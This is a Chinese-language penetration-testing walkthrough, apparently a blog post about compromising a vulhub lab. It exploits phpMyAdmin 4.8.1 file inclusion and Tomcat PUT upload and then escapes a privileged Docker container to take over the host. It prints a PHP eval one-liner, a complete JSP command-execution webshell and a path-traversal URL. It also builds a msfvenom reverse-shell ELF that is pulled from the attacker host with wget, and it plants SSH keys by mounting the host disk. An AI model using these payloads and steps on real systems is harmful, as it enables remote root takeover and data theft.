bcdedit /set hypervisorlaunchtype off
靶場環境







見說明有docker逃逸問題,再見拓撲圖web由三個docker容器組成,所以猜想應該都是docker開啟。
docker只有root才能操作,因此必須先切換為root用戶。
sudo su #切換為root用戶
cd /home/ubuntu/Desktop/vulhub
具體操作
CVE-2018-12613(phpMyAdmin遠程文件包含漏洞)復現
在nmap掃描圖見2003/tcp open ,其phpMyAdmin 4.8.1,可能存在遠程文件包含漏洞。
CVE-2018-12613。這是一個經典漏洞,雖然版本比較舊了,真實環境中一般不會遇到,但作為技能學習,還是有必要熟悉的。
漏洞詳情網上搜索很多,該docker安裝版本同樣。
實際上,phpmyadmin漏洞一直是滲透測試玩人員關注的重點。想2020年就曾經爆出許多網站的phpmyadmin弱口令漏洞,一時間許多人涌入fodu搜尋相關網站,試圖通過phpmyadmin弱口令拿shell練手。
簡單進入vulhub/phpmyadmin:4.8.1 容器看看
target可以直接傳值輸入,我們可以傳入一個本地文件讓其包含,造成漏洞。具體審計可見有檢查及白名單過濾,因此$target 里要將“?”二次url編碼為%253f ,可繞過檢查過濾即“?截斷”,如 db_sql.php%253f,db_datadict.php等等都會被認為是一個目錄,可以用多級../../跨越,成功實現包含。
訪問http://192.168.0.111:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,

/etc/passwd被包含讀取,說明文件包含漏洞存在。
按sql執行select '<?php phpinfo();?>'
當前頁面按F12查找cookie中的phpMyAdmin 值即sessionid值
phpMyAdmin : c3b49a772232fd6796745182953b129c
session文件:sess_c3b49a772232fd6796745182953b129c,一般在/tmp下,
http://192.168.0.111:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_c3b49a772232fd6796745182953b129c
可以成功顯示phpinfo()即包含成功。
到此本來可以寫如一句話,然后蟻劍連接及拿到shell。但我多次寫如入都不能連接,進入容器發現
原寫入的<?php @eval($_POST[cmd])?>,只剩下<?php @eval()?>,可能被容器殺滅了吧?在網上找到免殺的webshell,依然不能成功連接。想不通什么原因(與docker環境有關?),就暫時放棄在這里拿shell,更何況我們需要的不只是docker容器而是docker宿主機。
上傳漏洞進攻web機
目標Web服務器http://192.168.0.111的2002端口上運行着Tomcat,版本為8.5.19。
Tomcat的漏洞比較出名的有CVE-2017-12615任意文件上傳漏洞,攻擊者將有可能可通過精心構造的攻擊請求數據包向服務器上傳包含任意代碼的 JSP 的webshell文件,JSP文件中的惡意代碼將能被服務器執行,導致服務器上的數據泄露或獲取服務器權限。
但此漏洞影響范圍是Apache Tomcat 7.0.0 – 7.0.79,我們靶機的Tomcat8.5.19版本受不受影響呢?
打開攻擊機kali,創建工作目錄,用searchsploit 搜索tomcat相關漏洞利用腳本exp:
發現版本< 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 都存在類似CVE-2017-12615的利用方式。
復制該exp到工作目錄
42966.py為利用腳本,執行python程序進行利用
u 參數檢查目標Web服務器相關漏洞是否存在
目標的確存在漏洞,於是上傳了測試文件Poc.jsp。
AAAAAAAA為測試內容。
然后直接展開攻擊拿下目標shell:
而且拿下的shell權限為root.
我們的exp上傳了一個websheel文件pwn.jsp。但此shell不太穩定,容易崩潰,不能長期運行命令。於是我們通過目標網頁上運行:
即在框中輸入命令通過get接收運行,相當於我們上傳了一個后門,而且是root權限。
如輸入ls
當然,我們還可以采用Tomcat 任意文件上傳漏洞(CVE-2017-12615)的經典利用方式,即用burpsuite抓包上傳webshell文件。
<%@ page import="java.util.*,java.io.*,java.net.*"%> <% %> <HTML><BODY> <FORM METHOD="POST" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "\n<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML>
打開http://192.168.0.111:2002/,抓包
將GET改為PUT,加上上傳文件名shell.jsp/,在空白處復制shell.jsp內容.
上傳成功,訪問http://192.168.0.111:2002/shell.jsp:
該框同樣為后門,權限為root。使用方式與上面相同,都是輸入命令即可在網頁顯示執行結果。
shell.jsp文件運行在docker容器中
顯然,我們需要docker逃逸來獲取docker宿主機的shell。
為了方便結合大殺器metasploit使用,我們可以反彈一個shell到kali攻擊機為meterpreter:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -f elf > shell.elf
即在攻擊機當前目錄/root/vulunstack下生成了一個shell.elf木馬文件
我們在當前目錄下開啟一個簡單的HTTP服務(默認端口為8000),好上傳目標機該反彈馬文件。
再在http://192.168.0.111:2002/shell.jsp操作上傳:
wget http://192.168.0.114:8000/shell.elf
賦予該shell.elf權限777
chmod 777 shell.elf 然后執行 ./shell.elf 打開msfconsole,生成監聽payload,開啟監聽 use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set lhost 192.168.0.114 #設置攻擊機 set lport 4444 (默認端口4444,無需這條) run
獲得了會話session1。
docker逃逸拿下ubuntu
到此為止,我們拿下的shell ,其實都局限於docker容器之內,但我們要求拿下的,是整個宿主機,是完成能夠獲取所有文件資源,訪問控制各個內網外網網卡的權限,進而拿下內網域管理權限等等的滲透任務。
嚴重安全漏洞(CVE-2019-5736),導致18.09.2版本之前的Docker允許惡意容器覆蓋宿主機上的runC二進制文件,由此使攻擊者能夠以root身份在宿主機上執行任意命令。惡意容器需滿足以下兩個條件之一: (1)由一個攻擊者控制的惡意鏡像創建、(2)攻擊者具有某已存在容器的寫權限,且可通過docker exec進入。
docker逃逸在於啟動dcoker時加入危險參數--privileged=ture(特權模式),允許容器內的root擁有外部物理機root權限而不是普通權限,本docker容器啟動即為特權模式。
當控制使用特權模式啟動的容器時,docker管理員可通過mount命令將外部宿主機磁盤設備掛載進容器內部,獲取對整個宿主機的文件讀寫權限,使用特權模式啟動容器,可以獲取大量設備文件訪問權限。此外還可以通過寫入計划任務等方式在宿主機執行命令。
靶場描述中有一個“ssh密鑰利用”,應該是利用docker的特權模式來在宿主機硬盤中寫入ssh私鑰,建立用戶實現ssh免密登錄宿主機,從而實現對目標宿主機的控制。
我們建立test目錄,將/dev/sda1 掛載到test 目錄
mkdir /test mount /dev/sda1 /test ls -alh /test
掛載成功,於是訪問test就等於訪問/dev/sda1 即整個宿主機硬盤,換句話說,我們可以通過訪問docker容器內部掛載整個宿主機本地文件的/test,來實現訪問整個宿主機的目的。
ls -alh /test/home/ubuntu/.ssh/
當前目錄本地生成命為hhh的ssh秘鑰:
為方便起見,我們寫一個key.sh腳本,復制hhh.pub內容:
上傳該key.sh到web目標機
chmod 777 key.sh ./key.sh
ls -alh /test/home/ubuntu/.ssh
寫入成功。
到此拿到了目標機的shell:
然后我們上傳shell.elf到目標機ubuntu上下載,對,就是原來上傳到docker容器Apache Tomcat 即192.168.0.111:2002的那個,同樣可以反彈得到整個web目標機的會話meterpreter(以前我們得到的只在2002docker容器內部的反彈meterpreter)。
方法就在剛才我們對2002docker容器內部的反彈監聽,需要先執行
set AuotRunScript migrate -f 來遷移原來容器的進程到容器外整個宿主機ubuntu:
現在我們已經可以滲透進內網。
太晚了,信息一下,明天再攻入內網。


